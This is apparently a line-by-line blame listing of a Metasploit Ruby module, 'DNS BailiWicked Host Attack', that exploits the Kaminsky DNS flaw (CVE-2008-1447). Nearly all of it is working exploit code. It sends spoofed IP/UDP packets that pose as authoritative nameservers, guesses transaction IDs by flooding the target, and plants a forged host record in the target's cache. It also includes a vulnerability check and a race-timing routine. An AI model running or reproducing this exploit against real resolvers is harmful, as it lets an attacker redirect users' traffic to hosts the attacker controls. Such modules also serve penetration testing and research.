2008-07-23 21:15:50 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'net/dns'
|
|
|
|
require 'scruby'
|
|
|
|
require 'resolv'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-07-23 21:15:50 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ip
|
2008-07-23 21:15:50 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2008-07-23 23:09:21 +00:00
|
|
|
'Name' => 'DNS BailiWicked Host Attack',
|
2008-07-23 21:15:50 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
|
|
|
|
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
|
2008-07-24 03:53:35 +00:00
|
|
|
malicious host entry into the target nameserver by sending random hostname
|
2008-07-23 21:15:50 +00:00
|
|
|
queries to the target DNS server coupled with spoofed replies to those
|
2008-07-24 03:53:35 +00:00
|
|
|
queries from the authoritative nameservers for that domain. Eventually, a
|
|
|
|
guessed ID will match, the spoofed packet will get accepted, and due to the
|
|
|
|
additional hostname entry being within bailiwick constraints of the original
|
|
|
|
request the malicious host entry will get cached.
|
2008-07-23 21:15:50 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'I)ruid', 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-1447' ],
|
2008-10-27 22:26:48 +00:00
|
|
|
[ 'US-CERT-VU', '800113' ],
|
2008-07-23 21:21:41 +00:00
|
|
|
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
|
2008-07-23 21:15:50 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 21 2008'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2008-07-26 04:35:28 +00:00
|
|
|
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
|
2008-07-23 21:15:50 +00:00
|
|
|
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
|
2008-07-23 22:47:36 +00:00
|
|
|
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
|
2008-07-23 21:15:50 +00:00
|
|
|
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
|
2008-07-25 22:01:12 +00:00
|
|
|
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
|
|
|
|
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
|
2008-07-28 18:49:39 +00:00
|
|
|
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
|
2008-07-26 04:35:28 +00:00
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def auxiliary_commands
|
2008-07-25 22:01:12 +00:00
|
|
|
return {
|
|
|
|
"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
|
2008-07-26 04:35:28 +00:00
|
|
|
"racer" => "Determine the size of the window for the target server",
|
2008-07-25 22:01:12 +00:00
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_racer(*args)
|
|
|
|
targ = args[0] || rhost()
|
|
|
|
dom = args[1] || "example.com"
|
|
|
|
|
|
|
|
if(not (targ and targ.length > 0))
|
|
|
|
print_status("usage: racer [dns-server] [domain]")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
calculate_race(targ, dom)
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_check(*args)
|
|
|
|
targ = args[0] || rhost()
|
|
|
|
if(not (targ and targ.length > 0))
|
|
|
|
print_status("usage: check [dns-server]")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Using the Metasploit service to verify exploitability...")
|
|
|
|
srv_sock = Rex::Socket.create_udp(
|
|
|
|
'PeerHost' => targ,
|
|
|
|
'PeerPort' => 53
|
|
|
|
)
|
|
|
|
|
|
|
|
random = false
|
2008-07-26 21:09:36 +00:00
|
|
|
ports = {}
|
2008-07-23 21:15:50 +00:00
|
|
|
lport = nil
|
2008-07-26 21:09:36 +00:00
|
|
|
reps = 0
|
2008-07-23 21:15:50 +00:00
|
|
|
|
2008-07-26 21:09:36 +00:00
|
|
|
1.upto(30) do |i|
|
2008-07-23 21:15:50 +00:00
|
|
|
|
|
|
|
req = Resolv::DNS::Message.new
|
|
|
|
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
|
|
|
|
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
|
|
|
|
req.rd = 1
|
|
|
|
|
|
|
|
srv_sock.put(req.encode)
|
2008-07-26 21:09:36 +00:00
|
|
|
res, addr = srv_sock.recvfrom(65535, 1.0)
|
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
|
|
|
|
if res and res.length > 0
|
2008-07-26 21:09:36 +00:00
|
|
|
reps += 1
|
2008-07-23 21:15:50 +00:00
|
|
|
res = Resolv::DNS::Message.decode(res)
|
|
|
|
res.each_answer do |name, ttl, data|
|
|
|
|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
|
|
|
t_addr, t_port = $1.split(':')
|
|
|
|
|
|
|
|
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
|
|
|
t_port = t_port.to_i
|
|
|
|
if(lport and lport != t_port)
|
|
|
|
random = true
|
|
|
|
end
|
|
|
|
lport = t_port
|
2008-07-26 21:09:36 +00:00
|
|
|
ports[t_port] ||=0
|
|
|
|
ports[t_port] +=1
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
end
|
2008-07-26 21:09:36 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
if(i>5 and ports.keys.length == 0)
|
|
|
|
break
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
srv_sock.close
|
|
|
|
|
2008-07-26 21:09:36 +00:00
|
|
|
if(ports.keys.length == 0)
|
|
|
|
print_status("ERROR: This server is not replying to recursive requests")
|
2008-07-23 21:15:50 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2008-07-26 21:09:36 +00:00
|
|
|
if(reps < 30)
|
|
|
|
print_status("WARNING: This server did not reply to all of our requests")
|
|
|
|
end
|
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
if(random)
|
2008-07-26 21:09:36 +00:00
|
|
|
ports_u = ports.keys.length
|
|
|
|
ports_r = ((ports.keys.length/30.0)*100).to_i
|
|
|
|
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
|
|
|
if(ports_r != 100)
|
|
|
|
print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
|
|
|
end
|
2008-07-23 21:15:50 +00:00
|
|
|
else
|
2008-07-26 21:09:36 +00:00
|
|
|
print_status("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
target = rhost()
|
|
|
|
source = Rex::Socket.source_address(target)
|
2008-07-26 04:35:28 +00:00
|
|
|
saddr = datastore['SRCADDR']
|
2008-07-23 21:15:50 +00:00
|
|
|
sport = datastore['SRCPORT']
|
|
|
|
hostname = datastore['HOSTNAME'] + '.'
|
|
|
|
address = datastore['NEWADDR']
|
|
|
|
recons = datastore['RECONS']
|
|
|
|
xids = datastore['XIDS'].to_i
|
2008-07-24 01:15:12 +00:00
|
|
|
newttl = datastore['TTL'].to_i
|
2008-07-24 03:53:35 +00:00
|
|
|
xidbase = rand(20001) + 20000
|
2008-07-25 22:01:12 +00:00
|
|
|
numxids = xids
|
2008-07-23 21:15:50 +00:00
|
|
|
|
2008-07-24 02:44:16 +00:00
|
|
|
domain = hostname.sub(/\w+\x2e/,"")
|
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
srv_sock = Rex::Socket.create_udp(
|
|
|
|
'PeerHost' => target,
|
|
|
|
'PeerPort' => 53
|
|
|
|
)
|
|
|
|
|
|
|
|
# Get the source port via the metasploit service if it's not set
|
|
|
|
if sport.to_i == 0
|
|
|
|
req = Resolv::DNS::Message.new
|
|
|
|
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
|
|
|
|
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
|
|
|
|
req.rd = 1
|
|
|
|
|
|
|
|
srv_sock.put(req.encode)
|
|
|
|
res, addr = srv_sock.recvfrom()
|
|
|
|
|
|
|
|
if res and res.length > 0
|
|
|
|
res = Resolv::DNS::Message.decode(res)
|
|
|
|
res.each_answer do |name, ttl, data|
|
|
|
|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
|
|
|
t_addr, t_port = $1.split(':')
|
|
|
|
sport = t_port.to_i
|
|
|
|
|
|
|
|
print_status("Switching to target port #{sport} based on Metasploit service")
|
|
|
|
if target != t_addr
|
|
|
|
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Verify its not already cached
|
|
|
|
begin
|
|
|
|
query = Resolv::DNS::Message.new
|
|
|
|
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
|
|
|
query.rd = 0
|
|
|
|
|
|
|
|
begin
|
|
|
|
cached = false
|
|
|
|
srv_sock.put(query.encode)
|
|
|
|
answer, addr = srv_sock.recvfrom()
|
|
|
|
|
|
|
|
if answer and answer.length > 0
|
|
|
|
answer = Resolv::DNS::Message.decode(answer)
|
|
|
|
answer.each_answer do |name, ttl, data|
|
2008-07-28 05:05:04 +00:00
|
|
|
|
|
|
|
if((name.to_s + ".") == hostname)
|
2008-07-23 21:15:50 +00:00
|
|
|
t = Time.now + ttl
|
2008-07-28 05:05:04 +00:00
|
|
|
print_status("Failure: This hostname is already in the target cache: #{name}")
|
2008-12-19 07:11:08 +00:00
|
|
|
print_status(" Cache entry expires on #{t}... sleeping.")
|
2008-07-23 21:15:50 +00:00
|
|
|
cached = true
|
|
|
|
sleep ttl
|
|
|
|
end
|
|
|
|
end
|
2008-07-24 01:15:12 +00:00
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
end until not cached
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
|
|
|
|
end
|
|
|
|
|
|
|
|
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
|
|
|
|
|
|
|
|
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
|
|
|
|
|
|
|
|
# Look up the nameservers for the domain
|
|
|
|
print_status "Querying recon nameserver for #{domain}'s nameservers..."
|
|
|
|
answer0 = res0.send(domain, Net::DNS::NS)
|
|
|
|
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
|
|
|
|
|
|
|
|
barbs = [] # storage for nameservers
|
|
|
|
answer0.answer.each do |rr0|
|
|
|
|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
|
|
|
|
if rr0.type == 'NS'
|
2008-07-23 21:40:58 +00:00
|
|
|
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
|
2008-07-23 21:15:50 +00:00
|
|
|
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
|
|
|
|
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
|
|
|
|
answer1.answer.each do |rr1|
|
2008-07-23 21:40:58 +00:00
|
|
|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
|
2008-07-23 21:15:50 +00:00
|
|
|
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
|
2008-07-23 21:40:58 +00:00
|
|
|
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
|
2008-07-24 22:26:02 +00:00
|
|
|
answer2 = res2.send(domain, Net::DNS::SOA)
|
2008-07-23 21:15:50 +00:00
|
|
|
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
|
|
|
|
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
|
|
|
|
barbs << nsrec
|
2008-07-23 21:40:58 +00:00
|
|
|
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if barbs.length == 0
|
|
|
|
print_status( "No DNS servers found.")
|
|
|
|
srv_sock.close
|
|
|
|
disconnect_ip
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2008-07-25 22:01:12 +00:00
|
|
|
|
|
|
|
if(xids == 0)
|
|
|
|
print_status("Calculating the number of spoofed replies to send per query...")
|
|
|
|
qcnt = calculate_race(target, domain, 100)
|
|
|
|
numxids = ((qcnt * 1.5) / barbs.length).to_i
|
|
|
|
if(numxids == 0)
|
|
|
|
print_status("The server did not reply, giving up.")
|
|
|
|
srv_sock.close
|
|
|
|
disconnect_ip
|
|
|
|
return
|
|
|
|
end
|
2008-07-28 05:05:04 +00:00
|
|
|
print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
|
2008-07-25 22:01:12 +00:00
|
|
|
end
|
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
# Flood the target with queries and spoofed responses, one will eventually hit
|
|
|
|
queries = 0
|
|
|
|
responses = 0
|
|
|
|
|
|
|
|
connect_ip if not ip_sock
|
|
|
|
|
|
|
|
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
|
|
|
|
|
|
|
|
while true
|
2008-07-28 18:51:24 +00:00
|
|
|
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
|
2008-07-23 21:15:50 +00:00
|
|
|
|
|
|
|
# Send spoofed query
|
|
|
|
req = Resolv::DNS::Message.new
|
|
|
|
req.id = rand(2**16)
|
|
|
|
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
|
|
|
|
|
|
|
|
req.rd = 1
|
|
|
|
|
2008-07-26 04:35:28 +00:00
|
|
|
src_ip = source
|
|
|
|
|
|
|
|
if(saddr == 'Random')
|
|
|
|
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
|
|
|
|
end
|
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
buff = (
|
|
|
|
Scruby::IP.new(
|
2008-07-26 04:35:28 +00:00
|
|
|
:src => src_ip,
|
2008-07-23 21:15:50 +00:00
|
|
|
:dst => target,
|
|
|
|
:proto => 17
|
|
|
|
)/Scruby::UDP.new(
|
|
|
|
:sport => (rand((2**16)-1024)+1024).to_i,
|
|
|
|
:dport => 53
|
|
|
|
)/req.encode
|
|
|
|
).to_net
|
|
|
|
ip_sock.sendto(buff, target)
|
|
|
|
queries += 1
|
|
|
|
|
|
|
|
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
|
2008-07-24 01:15:12 +00:00
|
|
|
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
|
|
|
|
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
|
|
|
|
req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
|
2008-07-23 21:15:50 +00:00
|
|
|
req.qr = 1
|
|
|
|
req.ra = 1
|
|
|
|
|
2008-07-25 22:01:12 +00:00
|
|
|
xidbase.upto(xidbase+numxids-1) do |id|
|
2008-07-23 21:15:50 +00:00
|
|
|
req.id = id
|
|
|
|
barbs.each do |barb|
|
|
|
|
buff = (
|
|
|
|
Scruby::IP.new(
|
|
|
|
#:src => barbs[i][:addr].to_s,
|
|
|
|
:src => barb[:addr].to_s,
|
|
|
|
:dst => target,
|
|
|
|
:proto => 17
|
|
|
|
)/Scruby::UDP.new(
|
|
|
|
:sport => 53,
|
|
|
|
:dport => sport.to_i
|
|
|
|
)/req.encode
|
|
|
|
).to_net
|
|
|
|
ip_sock.sendto(buff, target)
|
|
|
|
responses += 1
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# status update
|
|
|
|
if queries % 1000 == 0
|
|
|
|
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
|
2008-07-25 22:01:12 +00:00
|
|
|
if(xids == 0)
|
|
|
|
print_status("Recalculating the number of spoofed replies to send per query...")
|
|
|
|
qcnt = calculate_race(target, domain, 25)
|
|
|
|
numxids = ((qcnt * 1.5) / barbs.length).to_i
|
|
|
|
if(numxids == 0)
|
|
|
|
print_status("The server has stopped replying, giving up.")
|
|
|
|
srv_sock.close
|
|
|
|
disconnect_ip
|
|
|
|
return
|
|
|
|
end
|
2008-07-28 05:05:04 +00:00
|
|
|
print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
|
2008-07-25 22:01:12 +00:00
|
|
|
end
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# every so often, check and see if the target is poisoned...
|
|
|
|
if queries % 250 == 0
|
|
|
|
begin
|
|
|
|
query = Resolv::DNS::Message.new
|
|
|
|
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
|
|
|
query.rd = 0
|
|
|
|
|
|
|
|
srv_sock.put(query.encode)
|
|
|
|
answer, addr = srv_sock.recvfrom()
|
|
|
|
|
|
|
|
if answer and answer.length > 0
|
|
|
|
answer = Resolv::DNS::Message.decode(answer)
|
|
|
|
answer.each_answer do |name, ttl, data|
|
2008-07-28 05:05:04 +00:00
|
|
|
if((name.to_s + ".") == hostname)
|
2008-07-26 04:35:28 +00:00
|
|
|
print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
|
2008-12-19 07:11:08 +00:00
|
|
|
print_status("TTL: #{ttl} DATA: #{data}")
|
2008-07-23 21:15:50 +00:00
|
|
|
disconnect_ip
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
|
|
|
|
end
|
|
|
|
end
|
2008-07-25 22:01:12 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Send a recursive query to the target server, then flood
|
|
|
|
# the server with non-recursive queries for the same entry.
|
|
|
|
# Calculate how many non-recursive queries we receive back
|
|
|
|
# until the real server responds. This should give us a
|
|
|
|
# ballpark figure for ns->ns latency. We can repeat this
|
|
|
|
# a few times to account for each nameserver the cache server
|
|
|
|
# may query for the target domain.
|
|
|
|
#
|
|
|
|
def calculate_race(server, domain, num=50)
|
|
|
|
|
|
|
|
q_beg_t = nil
|
|
|
|
q_end_t = nil
|
|
|
|
cnt = 0
|
|
|
|
|
|
|
|
times = []
|
|
|
|
|
2008-07-28 18:51:24 +00:00
|
|
|
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
|
2008-07-25 22:01:12 +00:00
|
|
|
|
|
|
|
sock = Rex::Socket.create_udp(
|
|
|
|
'PeerHost' => server,
|
|
|
|
'PeerPort' => 53
|
|
|
|
)
|
|
|
|
|
2008-07-23 21:15:50 +00:00
|
|
|
|
2008-07-25 22:01:12 +00:00
|
|
|
req = Resolv::DNS::Message.new
|
|
|
|
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
|
|
|
req.rd = 1
|
|
|
|
req.id = 1
|
|
|
|
|
|
|
|
Thread.critical = true
|
|
|
|
q_beg_t = Time.now.to_f
|
|
|
|
sock.put(req.encode)
|
|
|
|
req.rd = 0
|
|
|
|
|
|
|
|
while(times.length < num)
|
|
|
|
res, addr = sock.recvfrom(65535, 0.01)
|
|
|
|
|
|
|
|
if res and res.length > 0
|
|
|
|
res = Resolv::DNS::Message.decode(res)
|
|
|
|
|
|
|
|
if(res.id == 1)
|
|
|
|
times << [Time.now.to_f - q_beg_t, cnt]
|
|
|
|
cnt = 0
|
|
|
|
|
2008-07-28 18:51:24 +00:00
|
|
|
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
|
2008-07-25 22:01:12 +00:00
|
|
|
|
|
|
|
Thread.critical = false
|
|
|
|
|
|
|
|
sock.close
|
|
|
|
sock = Rex::Socket.create_udp(
|
|
|
|
'PeerHost' => server,
|
|
|
|
'PeerPort' => 53
|
|
|
|
)
|
|
|
|
|
|
|
|
Thread.critical = true
|
|
|
|
|
|
|
|
q_beg_t = Time.now.to_f
|
|
|
|
req = Resolv::DNS::Message.new
|
|
|
|
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
|
|
|
req.rd = 1
|
|
|
|
req.id = 1
|
|
|
|
|
|
|
|
sock.put(req.encode)
|
|
|
|
req.rd = 0
|
|
|
|
end
|
|
|
|
|
|
|
|
cnt += 1
|
|
|
|
end
|
|
|
|
|
|
|
|
req.id += 1
|
|
|
|
|
|
|
|
sock.put(req.encode)
|
2008-07-23 21:15:50 +00:00
|
|
|
end
|
2008-07-25 22:01:12 +00:00
|
|
|
|
|
|
|
Thread.critical = false
|
|
|
|
|
|
|
|
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
|
|
|
|
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
|
|
|
|
sum = 0
|
|
|
|
times.each{|i| sum += i[0]}
|
|
|
|
avg_time = ( (sum / times.length) * 100).to_i / 100.0
|
|
|
|
|
|
|
|
min_count = times.map{|i| i[1]}.min
|
|
|
|
max_count = times.map{|i| i[1]}.max
|
|
|
|
sum = 0
|
|
|
|
times.each{|i| sum += i[1]}
|
|
|
|
avg_count = sum / times.length
|
|
|
|
|
|
|
|
sock.close
|
|
|
|
|
|
|
|
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
|
2008-07-23 21:15:50 +00:00
|
|
|
|
2008-07-25 22:01:12 +00:00
|
|
|
|
|
|
|
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
|
|
|
|
avg_count
|
|
|
|
end
|
2008-07-26 04:35:28 +00:00
|
|
|
|
2008-10-27 22:26:48 +00:00
|
|
|
end
|